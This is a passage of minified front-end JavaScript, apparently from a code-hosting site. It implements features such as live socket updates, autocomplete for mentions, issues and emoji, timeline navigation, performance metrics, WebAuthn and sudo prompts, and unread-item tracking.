R)y({subscriber:w,channelName:se,metadata:Q})},"queueMetadataOrIdleChange");I=(0,M.qC)((0,M.RB)(w,"socket:set-presence-metadata",Q=>{const{detail:se}=Q;F=se,oe()}),Ka(Q=>{!(0,U.c)("PRESENCE_IDLE")||(X=Q,oe())}))}return a(S),I},remove:w=>l(w)}),window.addEventListener("online",()=>i.online()),window.addEventListener("offline",()=>i.offline()),window.addEventListener("pagehide",()=>{"hangup"in i&&i.hangup()})}s(ec,"connect"),(async()=>(await me.x,ec()))();const yr=new Map;function tc(e,t){const n=[];for(const o of e){const r=yr.get(o.name);r&&r.arrived>t&&n.push(r)}return n}s(tc,"stale");function nc(e,t){for(const n of e.querySelectorAll(".js-socket-channel[data-channel]"))for(const o of tc(pr(n),t))n.dispatchEvent(new CustomEvent("socket:message",{bubbles:!1,cancelable:!1,detail:{name:o.name,data:o.data,cached:!0}}))}s(nc,"dispatch");function oc(e){const{name:t,data:n,cached:o}=e.detail;if(o)return;const r={name:t,data:{...n},arrived:Date.now()};r.data.wait=0,yr.set(t,r)}s(oc,"store"),document.addEventListener("socket:message",oc,{capture:!0}),document.addEventListener("pjax:popstate",function(e){const t=e.target,n=e.detail.cachedAt;n&&setTimeout(()=>nc(t,n))}),(0,u.N7)("form.js-auto-replay-enforced-sso-request",{constructor:HTMLFormElement,initialize(e){(0,L.Bt)(e)}});var uu=f(41928);function vr(e,t,n){const o=e.getBoundingClientRect().height,r=t.getBoundingClientRect(),i=n.getBoundingClientRect();let a=i.top;a+r.height+10>=o&&(a=Math.max(o-r.height-10,0));let l=i.right;n.closest(".js-build-status-to-the-left")!=null&&(l=Math.max(i.left-r.width-10,0)),t.style.top=`${a}px`,t.style.left=`${l}px`,t.style.right="auto"}s(vr,"updateStatusPosition"),(0,c.on)("toggle",".js-build-status .js-dropdown-details",function(e){const t=e.currentTarget,n=t.querySelector(".js-status-dropdown-menu");if(!n)return;function o(){t.hasAttribute("open")||i()}s(o,"closeOnToggle");function r(a){n.contains(a.target)||i()}s(r,"closeOnScroll");function i(){t.removeAttribute("open"),n.classList.add("d-none"),t.appendChild(n),t.removeEventListener("toggle",o),window.removeEventListener("scroll",r)}s(i,"closeStatusPopover"),t.addEventListener("toggle",o),n.classList.contains("js-close-menu-on-scroll")&&window.addEventListener("scroll",r,{capture:!0}),n.classList.remove("d-none"),n.querySelector(".js-details-container").classList.add("open"),n.classList.contains("js-append-menu-to-body")&&(document.body.appendChild(n),vr(document.body,n,t))},{capture:!0});async function wr(e){const t=e.querySelector(".js-dropdown-details"),n=e.querySelector(".js-status-dropdown-menu")||e.closest(".js-status-dropdown-menu");if(!(n instanceof HTMLElement))return;const o=n.querySelector(".js-status-loader");if(!o)return;const r=n.querySelector(".js-status-loading"),i=n.querySelector(".js-status-error"),a=o.getAttribute("data-contents-url");r.classList.remove("d-none"),i.classList.add("d-none");let l;try{await(0,en.Z)(),l=await(0,pe.a)(document,a)}catch{r.classList.add("d-none"),i.classList.remove("d-none")}l&&(o.replaceWith(l),n.querySelector(".js-details-container").classList.add("open"),t&&n.classList.contains("js-append-menu-to-body")&&vr(document.body,n,t))}s(wr,"loadStatus"),(0,c.on)("click",".js-status-retry",({currentTarget:e})=>{wr(e)});function Er(e){const t=e.currentTarget;wr(t)}s(Er,"onMouseEnter"),(0,u.N7)(".js-build-status",{add(e){e.addEventListener("mouseenter",Er,{once:!0})},remove(e){e.removeEventListener("mouseenter",Er)}});var du=f(55898),rc=f(82841);(0,c.on)("click","button[data-sudo-required], summary[data-sudo-required]",Lr),(0,u.N7)("form[data-sudo-required]",{constructor:HTMLFormElement,subscribe:e=>(0,M.RB)(e,"submit",Lr)});async function Lr(e){const t=e.currentTarget;if(!(t instanceof HTMLElement))return;e.stopPropagation(),e.preventDefault(),await(0,rc.Z)()&&(t.removeAttribute("data-sudo-required"),t instanceof HTMLFormElement?(0,L.Bt)(t):t.click())}s(Lr,"checkSudo");const jr={"actor:":"ul.js-user-suggestions","user:":"ul.js-user-suggestions","operation:":"ul.js-operation-suggestions","org:":"ul.js-org-suggestions","action:":"ul.js-action-suggestions","repo:":"ul.js-repo-suggestions","country:":"ul.js-country-suggestions"};(0,u.N7)("text-expander[data-audit-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",ic),(0,M.RB)(e,"text-expander-value",sc))});function sc(e){const t=e.detail;if(!Sr(t.key))return;const n=t.item.getAttribute("data-value");t.value=`${t.key}${n}`}s(sc,"onvalue");function ic(e){const{key:t,provide:n,text:o}=e.detail;if(!Sr(t))return;const i=e.target.getAttribute("data-audit-url");n(lc(i,t,o))}s(ic,"onchange");function ac(e,t){const n=t.toLowerCase(),o=s(r=>{const i=r.textContent.toLowerCase().trim(),a=(0,ge.EW)(i,n);return a>0?{score:a,text:i}:null},"key");return n?(0,Ge.W)(e,o,ge.qu):e}s(ac,"search");const cc=(0,qe.Z)(e=>[...e.children],{hash:e=>e.className});async function lc(e,t,n){const r=(await fc(e)).querySelector(uc(t));if(!r)return{matched:!1};const i=ac(cc(r),n).slice(0,5),a=r.cloneNode(!1);a.innerHTML="";for(const l of i)a.append(l);return{fragment:a,matched:i.length>0}}s(lc,"auditMenu");function Sr(e){return Object.getOwnPropertyNames(jr).includes(e)}s(Sr,"isActivationKey");function uc(e){const t=jr[e];if(!t)throw new Error(`Unknown audit log expander key: ${e}`);return t}s(uc,"audit_log_suggester_selector");async function dc(e){const t=await(0,pe.a)(document,e),n=document.createElement("div");return n.append(t),n}s(dc,"fetchMenu");const fc=(0,qe.Z)(dc);function mc(e){if(e.hasAttribute("data-use-colon-emoji"))return e.getAttribute("data-value");const t=e.firstElementChild;return t&&t.tagName==="G-EMOJI"&&!t.firstElementChild?t.textContent:e.getAttribute("data-value")}s(mc,"getValue");function hc(e,t){const n=` ${t.toLowerCase().replace(/_/g," ")}`,o=s(r=>{const i=r.getAttribute("data-emoji-name"),a=gc(pc(r),n);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(hc,"emoji_suggester_search");function pc(e){return` ${e.getAttribute("data-text").trim().toLowerCase().replace(/_/g," ")}`}s(pc,"emojiText");function gc(e,t){const n=e.indexOf(t);return n>-1?1e3-n:0}s(gc,"emojiScore"),(0,u.N7)("text-expander[data-emoji-url]",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"text-expander-change",yc),(0,M.RB)(e,"text-expander-value",bc))});function bc(e){const t=e.detail;t.key===":"&&(t.value=mc(t.item))}s(bc,"emoji_suggester_onvalue");function yc(e){const{key:t,provide:n,text:o}=e.detail;if(t!==":")return;const i=e.target.getAttribute("data-emoji-url");n(vc(i,o))}s(yc,"emoji_suggester_onchange");async function vc(e,t){const[n,o]=await Ec(e),r=hc(o,t).slice(0,5);n.innerHTML="";for(const i of r)n.append(i);return{fragment:n,matched:r.length>0}}s(vc,"emojiMenu");async function wc(e){const n=(await(0,pe.a)(document,e)).firstElementChild;return[n,[...n.children]]}s(wc,"fetchEmoji");const Ec=(0,qe.Z)(wc);var Pe=f(38772);function Lc(e){return`${e.number} ${e.title.trim().toLowerCase()}`}s(Lc,"asText");function jc(e,t){if(!t)return e;const n=new RegExp(`\\b${Sc(t)}`),o=/^\d+$/.test(t)?i=>Tc(i,n):i=>(0,ge.EW)(i,t),r=s(i=>{const a=Lc(i),l=o(a);return l>0?{score:l,text:a}:null},"key");return(0,Ge.W)(e,r,ge.qu)}s(jc,"issue_suggester_search");function Sc(e){return e.replace(/[.*+?^${}()|[\]\\]/g,"\\$&")}s(Sc,"escapeRegExp");function Tc(e,t){const n=e.search(t);return n>-1?1e3-n:0}s(Tc,"issueNumberScore");function Ac(e,t,n){const o=s(i=>Pe.dy` +
      + ${i.map(r)} +
    + `,"itemsTemplate"),r=s(i=>{const a=i.type in n?(0,q.r)(document,n[i.type]):"";return Pe.dy` +
  • + ${a} + #${i.number} ${(0,Pe.Au)(i.title)} +
  • + `},"itemTemplate");(0,Pe.sY)(o(e),t)}s(Ac,"renderResults"),(0,u.N7)("text-expander[data-issue-url]",{subscribe:e=>{const t=[(0,M.RB)(e,"text-expander-change",kc),(0,M.RB)(e,"text-expander-value",Cc),(0,M.RB)(e,"keydown",Mc),(0,M.RB)(e,"click",xc)];return(0,M.qC)(...t)}});function Cc(e){const t=e.detail;if(t.key!=="#")return;const n=t.item.getAttribute("data-value");t.value=`#${n}`}s(Cc,"issue_suggester_onvalue");function kc(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="#")return;if(o==="#"){An(e.target);return}const i=e.target.getAttribute("data-issue-url");n(qc(i,o))}s(kc,"issue_suggester_onchange");function An(e){if(!e)return;const t=e.closest("text-expander");t&&t.dismiss()}s(An,"hideSuggestions");function xc(e){An(e.target)}s(xc,"issue_suggester_onclick");function Mc(e){const t=["ArrowRight","ArrowLeft"],{key:n}=e;t.indexOf(n)<0||An(e.target)}s(Mc,"issue_suggester_onkeydown");async function qc(e,t){const n=await Rc(e),o=document.createElement("div"),r=jc(n.suggestions,t).slice(0,5);return Ac(r,o,n.icons),{fragment:o.firstElementChild,matched:r.length>0}}s(qc,"issueMenu");const Rc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function _c(e){return e.description?`${e.name} ${e.description}`.trim().toLowerCase():`${e.login} ${e.name}`.trim().toLowerCase()}s(_c,"mention_suggester_asText");function Pc(e,t){if(!t)return e;const n=Dc(t),o=s(r=>{const i=_c(r),a=n(i,r.participant);return a>0?{score:a,text:i}:null},"key");return(0,Ge.W)(e,o,ge.qu)}s(Pc,"mention_suggester_search");function Ic(e,t){const n=s(r=>Pe.dy` +
      + ${r.map(o)} +
    + `,"itemsTemplate"),o=s(r=>{const i=r.type==="user"?r.login:r.name,a=r.type==="user"?r.name:r.description;return Pe.dy` +
  • + ${i} + ${a} +
  • + `},"itemTemplate");(0,Pe.sY)(n(e),t)}s(Ic,"mention_suggester_renderResults");function Dc(e){if(!e)return()=>2;const t=e.toLowerCase().split("");return(n,o)=>{if(!n)return 0;const r=Hc(n,t);if(!r)return 0;const a=e.length/r[1]/(r[0]/2+1);return o?a+1:a}}s(Dc,"fuzzyScorer");function Hc(e,t){let n,o,r,i;const a=Oc(e,t[0]);if(a.length===0)return null;if(t.length===1)return[a[0],1,[]];for(i=null,o=0,r=a.length;o-1;)o.push(n++);return o}s(Oc,"allIndexesOf");function Nc(e,t,n){let o=n;const r=[];for(let i=1;i(0,M.qC)((0,M.RB)(e,"text-expander-change",$c),(0,M.RB)(e,"text-expander-value",Bc))});function Bc(e){const t=e.detail;if(t.key!=="@")return;const n=t.item.getAttribute("data-value");t.value=`@${n}`}s(Bc,"mention_suggester_onvalue");function $c(e){const{key:t,provide:n,text:o}=e.detail;if(t!=="@"||(o==null?void 0:o.split(" ").length)>1)return;const i=e.target.getAttribute("data-mention-url");n(Fc(i,o))}s($c,"mention_suggester_onchange");async function Fc(e,t){const n=await Uc(e),o=document.createElement("div"),r=Pc(n,t).slice(0,5);return Ic(r,o),{fragment:o.firstElementChild,matched:r.length>0}}s(Fc,"mentionMenu");const Uc=(0,qe.Z)(async function(e){const t=await self.fetch(e,{headers:{"X-Requested-With":"XMLHttpRequest",Accept:"application/json"}});if(!t.ok){const n=new Error,o=t.statusText?` ${t.statusText}`:"";throw n.message=`HTTP ${t.status}${o}`,n}return t.json()});function Wc(e,t){const n=e.closest(".js-survey-question-form"),o=n.querySelector("input.js-survey-other-text"),r=t&&!n.classList.contains("is-other-selected");n.classList.toggle("is-other-selected",r),o.hidden=!t,r?(o.required=!0,o.focus()):o.required=!1,(0,c.f)(o,"change")}s(Wc,"handleOther"),(0,c.on)("change","input.js-survey-radio",function({currentTarget:e}){Wc(e,e.classList.contains("js-survey-radio-other"))}),(0,c.on)("change","input.js-survey-checkbox-enable-submit",function({currentTarget:e}){var t;const n=e.checked,o=(t=e.closest("form"))==null?void 0:t.querySelector("button[type=submit]");o.disabled=!n}),(0,c.on)("change","input.js-survey-contact-checkbox",function(e){const t=e.currentTarget,o=t.closest(".js-survey-question-form").querySelector(".js-survey-contact-checkbox-hidden");t.checked?o.setAttribute("disabled","true"):o.removeAttribute("disabled")}),(0,c.on)("details-menu-selected",".js-sync-select-menu-text",function(e){const t=document.querySelector(".js-sync-select-menu-button"),n=e.detail.relatedTarget.querySelector("span[data-menu-button-text]").textContent;t.textContent=n,t.focus()},{capture:!0}),(0,c.on)("click",'tab-container [role="tab"]',function(e){const{currentTarget:t}=e,o=t.closest("tab-container").querySelector(".js-filterable-field, [data-filter-placeholder-input]");if(o instanceof HTMLInputElement){const r=t.getAttribute("data-filter-placeholder");r&&o.setAttribute("placeholder",r),o.focus()}}),(0,c.on)("tab-container-changed","tab-container",function(e){const t=e.detail.relatedTarget,n=t.getAttribute("data-fragment-url"),o=t.querySelector("include-fragment");n&&o&&!o.hasAttribute("src")&&(o.src=n)});var fu=f(32222),Tr=f(96776);document.addEventListener("keydown",e=>{if(e.key!=="Escape"||e.target!==document.body)return;const t=document.querySelector(".js-targetable-element:target");!t||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)})}),document.addEventListener("click",e=>{const t=document.querySelector(".js-targetable-element:target");!t||e.target instanceof HTMLAnchorElement||e.target instanceof HTMLElement&&(t.contains(e.target)||(0,Tr.uQ)(t,()=>{window.location.hash="",(0,E.lO)(window.history.state,"",window.location.pathname+window.location.search)}))});var mu=f(72669);async function zc(e){const t=e.currentTarget;if(Vc(t)){t.classList.remove("tooltipped");return}const n=t.getAttribute("data-url");if(!n)return;const o=await fetch(n,{headers:{Accept:"application/json"}});if(!o.ok)return;const r=await o.json(),i=t.getAttribute("data-id"),a=document.querySelectorAll(`.js-team-mention[data-id='${i}']`);for(const l of a)l.removeAttribute("data-url");try{r.total===0?r.members.push("This team has no members"):r.total>r.members.length&&r.members.push(`${r.total-r.members.length} more`),Ar(a,Kc(r.members))}catch(l){const y=l.response?l.response.status:500,w=t.getAttribute(y===404?"data-permission-text":"data-error-text");Ar(a,w)}}s(zc,"members");function Ar(e,t){for(const n of e)n instanceof HTMLElement&&(n.setAttribute("aria-label",t),n.classList.add("tooltipped","tooltipped-s","tooltipped-multiline"))}s(Ar,"tip");function Kc(e){if("ListFormat"in Intl)return new Intl.ListFormat().format(e);if(e.length===0)return"";if(e.length===1)return e[0];if(e.length===2)return e.join(" and ");{const t=e[e.length-1];return e.slice(0,-1).concat(`and ${t}`).join(", ")}}s(Kc,"sentence");function Vc(e){return!!e.getAttribute("data-hovercard-url")&&!!e.closest("[data-team-hovercards-enabled]")}s(Vc,"teamHovercardEnabled"),(0,u.N7)(".js-team-mention",function(e){e.addEventListener("mouseenter",zc)});function Xc(){const e=document.querySelector(".js-timeline-marker");return e!=null?e.getAttribute("data-last-modified"):null}s(Xc,"getTimelineLastModified");function Cr(e){if(Zc(e)||Gc(e))return;const t=Xc();t&&e.headers.set("X-Timeline-Last-Modified",t)}s(Cr,"addTimelineLastModifiedHeader");function Gc(e){return e.headers.get("X-PJAX")==="true"}s(Gc,"isPjax");function Zc(e){let t;try{t=new URL(e.url)}catch{return!0}return t.host!==window.location.host}s(Zc,"isCrossDomain"),(0,C.AC)(".js-needs-timeline-marker-header",function(e,t,n){Cr(n)}),(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){const{request:t}=e.detail;Cr(t)});const kr=5e3,Jc=".js-comment-body img",Qc=".js-comment-body video";(0,Xt.Z)(function(){St()}),(0,u.N7)(".js-timeline-progressive-focus-container",function(e){const t=Tt();if(!t||document.querySelector(".js-pull-discussion-timeline"))return;const o=document.getElementById(t);o&&e.contains(o)&&Cn(o)});function St(e=!0){const t=Tt();if(!t)return;const n=document.getElementById(t);if(n)Cn(n);else{if(Yc(t))return;const o=document.querySelector("#js-timeline-progressive-loader");o&&e&&qr(t,o)}}s(St,"focusOrLoadElement");function Yc(e){return el(e)||xr(e,".js-thread-hidden-comment-ids")||xr(e,".js-review-hidden-comment-ids")}s(Yc,"loadComments");function el(e){const t=Mr(e,".js-comment-container");return t?((0,Gt.$)(t),!0):!1}s(el,"loadResolvedComments");function xr(e,t){const n=Mr(e,t);return n?(n.addEventListener("page:loaded",function(){St()}),n.querySelector("button[type=submit]").click(),!0):!1}s(xr,"loadHiddenComments");function Mr(e,t){var n;const o=document.querySelectorAll(t);for(const r of o){const i=r.getAttribute("data-hidden-comment-ids");if(i){const a=i.split(","),l=(n=e.match(/\d+/g))==null?void 0:n[0];if(l&&a.includes(l))return r}}return null}s(Mr,"findCommentContainer"),(0,u.N7)(".js-inline-comments-container",function(e){const t=Tt();if(!t)return;const n=document.getElementById(t);n&&e.contains(n)&&Cn(n)}),(0,u.N7)("#js-discussions-timeline-anchor-loader",{constructor:HTMLElement,add:e=>{if(document.querySelector("#js-timeline-progressive-loader"))return;const n=Tt();if(!n)return;document.getElementById(n)||qr(n,e)}});async function tl(){const e=document.querySelectorAll(Qc),t=Array.from(e).map(n=>new Promise(o=>{if(n.readyState>=n.HAVE_METADATA)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("loadeddata",()=>{n.readyState>=n.HAVE_METADATA&&i()}),n.addEventListener("error",()=>i())}}));return Promise.all(t)}s(tl,"videosReady");async function nl(){const e=document.querySelectorAll(Jc),t=Array.from(e).map(n=>{new Promise(o=>{if(n.complete)o(n);else{const r=setTimeout(()=>o(n),kr),i=s(()=>{clearTimeout(r),o(n)},"done");n.addEventListener("load",()=>i()),n.addEventListener("error",()=>i())}})});return Promise.all(t)}s(nl,"imagesReady");async function ol(){return Promise.all([tl(),nl()])}s(ol,"mediaLoaded");async function Cn(e){await ol(),rl(e);const t=e.querySelector(`[href='#${e.id}']`);if(t){const n=t.getAttribute("data-turbo");t.setAttribute("data-turbo","false"),t.click(),n===null?t.removeAttribute("data-turbo"):t.setAttribute("data-turbo",n)}}s(Cn,"focusElement");async function qr(e,t){if(!t)return;const n=t.getAttribute("data-timeline-item-src");if(!n)return;const o=new URL(n,window.location.origin),r=new URLSearchParams(o.search.slice(1));r.append("anchor",e),o.search=r.toString();let i;try{i=await(0,pe.a)(document,o.toString())}catch{return}const a=i.querySelector(".js-timeline-item");if(!a)return;const l=a.getAttribute("data-gid");if(!l)return;const y=document.querySelector(`.js-timeline-item[data-gid='${l}']`);if(y)y.replaceWith(a),St(!1);else{const w=document.getElementById("js-progressive-timeline-item-container");w&&w.replaceWith(i),St(!1)}}s(qr,"loadElement");function rl(e){const t=e.closest("details, .js-details-container");!t||(t.nodeName==="DETAILS"?t.setAttribute("open","open"):(0,Vt.jo)(t)||(0,Vt.Qp)(t))}s(rl,"expandDetailsIfPresent");function Tt(){return window.location.hash.slice(1)}s(Tt,"urlAnchor"),(0,u.N7)(".js-discussion",sl);function sl(){let e=new WeakSet;t(),document.addEventListener("pjax:end",t),document.addEventListener("turbo:load",t),(0,u.N7)(".js-timeline-item",n=>{n instanceof HTMLElement&&(e.has(n)||(0,h.N)(n))});function t(){e=new WeakSet(document.querySelectorAll(".js-timeline-item"))}s(t,"setExistingTimelineItems")}s(sl,"announceTimelineEvents");var Qe=f(82131);function Ye(e){const{name:t,value:n}=e,o={name:window.location.href};switch(t){case"CLS":o.cls=n;break;case"FCP":o.fcp=n;break;case"FID":o.fid=n;break;case"LCP":o.lcp=n;break;case"TTFB":o.ttfb=n;break}(0,he.b)({webVitalTimings:[o]}),il(t,n)}s(Ye,"sendVitals");function il(e,t){const n=document.querySelector("#staff-bar-web-vitals"),o=n==null?void 0:n.querySelector(`[data-metric=${e.toLowerCase()}]`);!o||(o.textContent=t.toPrecision(6))}s(il,"updateStaffBar");function al(){return!!(window.performance&&window.performance.timing&&window.performance.getEntriesByType)}s(al,"isTimingSuppported");async function cl(){if(!al())return;await me.C,await new Promise(n=>setTimeout(n));const e=window.performance.getEntriesByType("resource");e.length&&(0,he.b)({resourceTimings:e});const t=window.performance.getEntriesByType("navigation");t.length&&(0,he.b)({navigationTimings:t})}s(cl,"sendTimingResults"),cl(),(0,Qe.kz)(Ye),(0,Qe.Y)(Ye),(0,Qe.Tx)(Ye),(0,Qe.Tb)(Ye),(0,Qe.CA)(Ye),(0,c.on)("click",".js-toggler-container .js-toggler-target",function(e){if(e.button!==0)return;const t=e.currentTarget.closest(".js-toggler-container");t&&t.classList.toggle("on")}),(0,C.AC)(".js-toggler-container",async(e,t)=>{e.classList.remove("success","error"),e.classList.add("loading");try{await t.text(),e.classList.add("success")}catch{e.classList.add("error")}finally{e.classList.remove("loading")}}),async function(){var e;if("serviceWorker"in navigator){await me.x;const t=(e=document.querySelector('link[rel="service-worker-src"]'))==null?void 0:e.href;t?navigator.serviceWorker.register(t,{scope:"/"}):await ll()}}();async function ll(){let e=[];try{e=await navigator.serviceWorker.getRegistrations()}catch(t){if(t.name==="SecurityError")return}for(const t of e)t.unregister()}if(s(ll,"unregisterAllServiceWorkers"),(0,U.c)("TURBO")){const e={},t=s(S=>{var R;const I=S.querySelector("[data-turbo-head]")||S.head;return{title:(R=I.querySelector("title"))==null?void 0:R.textContent,scripts:[...S.querySelectorAll("script")],stylesheets:[...S.querySelectorAll("link[rel=stylesheet]")],transients:[...I.querySelectorAll("[data-pjax-transient]")]}},"getTurboCacheNode");(async()=>(await me.x,e[document.location.href]=t(document)))();let n,o=!1;document.addEventListener("turbo:visit",S=>{S instanceof CustomEvent&&(n=S.detail.url)}),document.addEventListener("turbo:before-fetch-response",async S=>{if(!(0,Wo.H)(S.target))return;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");r(I)}),document.addEventListener("turbo:frame-render",async S=>{o=!0;const R=await S.detail.fetchResponse.responseHTML,I=new DOMParser().parseFromString(R,"text/html");i(I),e[n]=t(I)}),document.addEventListener(Se.QE.SUCCESS,()=>{!o||(o=!1,a(),l(),y(),w(),document.dispatchEvent(new CustomEvent(Se.QE.FRAME_UPDATE)))});const r=s(S=>{var R;const I=(R=S.querySelector("meta[name=turbo-body-classes]"))==null?void 0:R.content;!I||document.body.setAttribute("class",I)},"replaceBodyClasses"),i=s(S=>{const R=S.querySelectorAll("[data-turbo-replace]"),I=[...document.querySelectorAll("[data-turbo-replace]")];for(const F of R){const X=I.find(oe=>oe.id===F.id);X&&X.replaceWith(F)}},"replaceElements"),a=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.title;R&&(document.title=R)},"replaceTitle"),l=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.transients;if(!!R){for(const I of document.querySelectorAll("head [data-pjax-transient]"))I.remove();for(const I of R)I.matches("title, script, link[rel=stylesheet]")||(I.setAttribute("data-pjax-transient",""),document.head.append(I))}},"replaceTransientTags"),y=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.stylesheets;if(!!R)for(const I of R)document.head.querySelector(`link[href="${I.getAttribute("href")}"], + link[data-href="${I.getAttribute("data-href")}"]`)||document.head.append(I)},"addNewStylesheets"),w=s(()=>{var S;const R=(S=e[document.location.href])==null?void 0:S.scripts;if(!!R)for(const I of R)document.head.querySelector(`script[src="${I.getAttribute("src")}"]`)||document.head.append(I)},"addNewScripts")}function ul(){if("Intl"in window)try{return new window.Intl.DateTimeFormat().resolvedOptions().timeZone}catch{}}s(ul,"timezone"),window.requestIdleCallback(()=>{const e=ul();e&&(0,Ve.d8)("tz",encodeURIComponent(e))});var J=f(90420),Rr=f(70112),dl=Object.defineProperty,fl=Object.getOwnPropertyDescriptor,re=s((e,t,n,o)=>{for(var r=o>1?void 0:o?fl(t,n):t,i=e.length-1,a;i>=0;i--)(a=e[i])&&(r=(o?a(t,n,r):a(r))||r);return o&&r&&dl(t,n,r),r},"__decorateClass"),ml=(e=>(e.Initializing="initializing",e.Unsupported="unsupported",e.Ready="ready",e.Waiting="waiting",e.Error="error",e.Submitting="submitting",e))(ml||{});let be=s(class extends HTMLElement{constructor(){super(...arguments);this.state="initializing",this.json="",this.autofocusWhenReady=!1,this.autoPrompt=!1,this.hasErrored=!1}connectedCallback(){this.originalButtonText=this.button.textContent,this.setState((0,Rr.Zh)()?"ready":"unsupported"),this.autoPrompt&&this.prompt(void 0,!0)}setState(e){this.button.textContent=this.hasErrored?this.button.getAttribute("data-retry-message"):this.originalButtonText,this.button.disabled=!1,this.button.hidden=!1;for(const t of this.messages)t.hidden=!0;switch(e){case"initializing":this.button.disabled=!0;break;case"unsupported":this.button.disabled=!0,this.unsupportedMessage.hidden=!1;break;case"ready":this.autofocusWhenReady&&this.button.focus();break;case"waiting":this.waitingMessage.hidden=!1,this.button.hidden=!0;break;case"error":this.errorMessage.hidden=!1;break;case"submitting":this.button.textContent="Verifying\u2026",this.button.disabled=!0;break;default:throw new Error("invalid state")}this.state=e}async prompt(e,t){e==null||e.preventDefault(),this.dispatchEvent(new CustomEvent("webauthn-get-prompt"));try{t||this.setState("waiting");const n=JSON.parse(this.json),o=await(0,Rr.U2)(n);this.setState("submitting");const r=this.closest(".js-webauthn-form"),i=r.querySelector(".js-webauthn-response");i.value=JSON.stringify(o),(0,L.Bt)(r)}catch(n){if(!t)throw this.hasErrored=!0,this.setState("error"),n}}},"WebauthnGetElement");re([J.fA],be.prototype,"button",2),re([J.GO],be.prototype,"messages",2),re([J.fA],be.prototype,"unsupportedMessage",2),re([J.fA],be.prototype,"waitingMessage",2),re([J.fA],be.prototype,"errorMessage",2),re([J.Lj],be.prototype,"json",2),re([J.Lj],be.prototype,"autofocusWhenReady",2),re([J.Lj],be.prototype,"autoPrompt",2),be=re([J.Ih],be);var hl=(e=>(e.Initializing="initializing",e.ShowingForm="showing-form",e.ShowingRevealer="showing-revealer",e))(hl||{});let We=s(class extends HTMLElement{constructor(){super(...arguments);this.state="showing-form"}connectedCallback(){this.setState(this.state)}setState(e){switch(this.revealer.hidden=!0,this.form.hidden=!1,e){case"initializing":break;case"showing-form":this.dispatchEvent(new CustomEvent("sudo-password-showing-form"));break;case"showing-revealer":this.revealer.hidden=!1,this.form.hidden=!0;break;default:throw new Error("invalid state")}this.state=e}reveal(){this.setState("showing-form")}},"SudoPasswordElement");re([J.Lj],We.prototype,"state",2),re([J.fA],We.prototype,"revealer",2),re([J.fA],We.prototype,"form",2),re([J.fA],We.prototype,"passwordField",2),We=re([J.Ih],We);let At=s(class extends HTMLElement{connectedCallback(){var e;(e=this.webauthnGet)==null||e.addEventListener("webauthn-get-prompt",()=>{this.sudoPassword.setState("showing-revealer")}),this.sudoPassword.addEventListener("sudo-password-showing-form",()=>{var t;(t=this.webauthnGet)==null||t.setState("ready"),this.sudoPassword.passwordField.focus()})}},"SudoAuthElement");re([J.fA],At.prototype,"webauthnGet",2),re([J.fA],At.prototype,"sudoPassword",2),At=re([J.Ih],At);let kn=0;function pl(){if(!document.hasFocus())return;const e=document.querySelector(".js-timeline-marker-form");e&&e instanceof HTMLFormElement&&(0,L.Bt)(e)}s(pl,"markThreadAsRead");const Ct="IntersectionObserver"in window?new IntersectionObserver(function(e){for(const t of e)t.isIntersecting&&_r(t.target)},{root:null,rootMargin:"0px",threshold:1}):null;(0,u.N7)(".js-unread-item",{constructor:HTMLElement,add(e){kn++,Ct&&Ct.observe(e)},remove(e){kn--,Ct&&Ct.unobserve(e),kn===0&&pl()}});function _r(e){e.classList.remove("js-unread-item","unread-item")}s(_r,"clearUnread"),(0,u.N7)(".js-discussion[data-channel-target]",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const n=t.target,o=t.detail.data;if(n.getAttribute("data-channel-target")===o.gid)for(const r of document.querySelectorAll(".js-unread-item"))_r(r)})});let kt=0;const Pr=/^\(\d+\)\s+/;function Ir(){const e=kt?`(${kt}) `:"";document.title.match(Pr)?document.title=document.title.replace(Pr,e):document.title=`${e}${document.title}`}s(Ir,"updateTitle"),(0,u.N7)(".js-unread-item",{add(){kt++,Ir()},remove(){kt--,Ir()}}),(0,u.N7)(".js-socket-channel.js-updatable-content",{subscribe:e=>(0,M.RB)(e,"socket:message",function(t){const{gid:n,wait:o}=t.detail.data,r=t.target,i=n?gl(r,n):r;i&&setTimeout(Me.x0,o||0,i)})});function gl(e,t){if(e.getAttribute("data-gid")===t)return e;for(const n of e.querySelectorAll("[data-url][data-gid]"))if(n.getAttribute("data-gid")===t)return n;return null}s(gl,"findByGid");async function bl(){if(!(!history.state||!history.state.staleRecords)){await me.x;for(const e in history.state.staleRecords)for(const t of document.querySelectorAll(`.js-updatable-content [data-url='${e}'], .js-updatable-content[data-url='${e}']`)){const n=history.state.staleRecords[e];t instanceof HTMLElement&&(0,Me.Of)(t,n,!0)}(0,E.lO)(null,"",location.href)}}s(bl,"reapplyPreviouslyUpdatedContent"),window.addEventListener("pagehide",Me.z8);try{bl()}catch{}(0,c.on)("upload:setup",".js-upload-avatar-image",function(e){const{form:t}=e.detail,n=e.currentTarget.getAttribute("data-alambic-organization"),o=e.currentTarget.getAttribute("data-alambic-owner-type"),r=e.currentTarget.getAttribute("data-alambic-owner-id");n&&t.append("organization_id",n),o&&t.append("owner_type",o),r&&t.append("owner_id",r)}),(0,c.on)("upload:complete",".js-upload-avatar-image",function(e){const{attachment:t}=e.detail,n=`/settings/avatars/${t.id}`;(0,Te.W)({content:(0,pe.a)(document,n),detailsClass:"upload-avatar-details"})}),(0,c.on)("dialog:remove",".upload-avatar-details",async function(e){const 